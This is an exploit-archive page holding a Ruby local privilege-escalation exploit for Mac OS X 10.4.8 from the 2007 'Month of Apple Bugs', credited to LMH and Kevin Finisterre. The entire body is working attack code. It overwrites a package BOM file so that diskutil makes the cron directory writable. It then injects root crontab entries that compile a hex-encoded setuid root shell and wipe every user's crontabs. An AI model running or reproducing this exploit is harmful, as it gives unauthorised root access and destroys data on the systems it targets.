[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mac OS X 10.4.8 DiskManagement BOM (cron) Privilege Escalation Exploit
# Published : 2007-01-05
# Author : MoAB
# Previous Title : Solaris <= 10 sysinfo() Local Kernel Memory Disclosure Exploit
# Next Title : Microsoft Vista (NtRaiseHardError) Privilege Escalation Exploit
#!/usr/bin/ruby
# (c) 2006 LMH <lmh [at] info-pull.com> (code from the other exploit, porting)
# Kevin Finisterre <kf_lists [at] digitalmunition.com> (crontab rock and roll)
#
# Second exploit for MOAB-05-01-2007, uses crontab. much more simple than the other one.
# And works like a charm.
require 'fileutils'
EVIL_COMMANDS = [
"rm /Library/Receipts/Essentials.pkg/Contents/Archive.bom ",
"echo -e "\x6d\x61\x69\x6e\x28\x29\x7b\x20\x73\x65\x74\x65\x75\x69\x64\x28\x30\x29\x3b\x20\x73\x65\x74\x65\x67\x69\x64\x28\x30\x29\x3b\x20\x73\x65\x74\x75\x69\x64\x28\x30\x29\x3b\x20\x73\x65\x74\x67\x69\x64\x28\x30\x29\x3b\x20\x73\x79\x73\x74\x65\x6d\x28\x22\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x22\x29\x3b\x20\x7d\x0a" > /tmp/finisterre.c",
"/usr/bin/cc -o /Users/Shared/shX /tmp/finisterre.c; rm /tmp/finisterre.c",
"/bin/cp -r /var/cron/tabs /Users/Shared", # I have no legit crontabs so I don't care.
"/usr/bin/say Flavor Flave a k a `whoami` && sleep 5 && /usr/bin/say sleeping briefly && sleep 5 && chmod +s /Users/Shared/shX && sleep 5",
"echo '' > /tmp/pwnclean",
"for each in `ls /var/cron/tabs/`; do crontab -u $each /tmp/pwnclean; done", # Sorry if you had any legit crontabs...
"crontab /tmp/pwnclean", # Just to make sure
"rm -rf /tmp/pwn*",
]
TARGET_BOM_PATH = "/Library/Receipts/Essentials.pkg/Contents/Archive.bom"
SHELL_TEMPLATE = "mkdir -p /tmp/pwndertino/var/cron/tabsn" +
"cd /tmp/pwndertinon" +
"chmod 777 var/cron/tabsn" +
"mkbom . /tmp/pwned.bomn" +
"cp /tmp/pwned.bom #{TARGET_BOM_PATH}n" +
"/usr/sbin/diskutil repairPermissions /n"
if ARGV[0] != "repair"
# Backup if its there! Some times it is not.
if File.exists?(TARGET_BOM_PATH)
FileUtils.cp(TARGET_BOM_PATH, File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))
end
puts "++ Dropping the 31337 .sh skillz"
shell_script = File.new("moab5.sh", "w")
shell_script.print(SHELL_TEMPLATE)
puts "++ Fixing up crontabs"
EVIL_COMMANDS.each do |cmd|
shell_script.print("echo '* * * * * #{cmd}' >> /var/cron/tabs/rootn")
end
shell_script.print("echo '* * * * * /bin/rm -rf /tmp/pwned.bom /tmp/pwndertino' >> /tmp/pwncronn")
shell_script.print("crontab /tmp/pwncronn") # You may need to sleep here
shell_script.close
puts "++ Execute moab5.sh"
FileUtils.chmod 0755, "./moab5.sh"
exec "/bin/sh", "-c", "./moab5.sh"
puts "++ Run the repair script when you are all done."
else
# minor repair for a post-testing scenario
if File.exists?(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))
FileUtils.cp(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)), TARGET_BOM_PATH) # restore backup
FileUtils.rm_f(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))
exec "/usr/sbin/diskutil repairPermissions /"
else
exec "/usr/sbin/diskutil repairPermissions /"
end
end
# www.Syue.com [2007-01-05]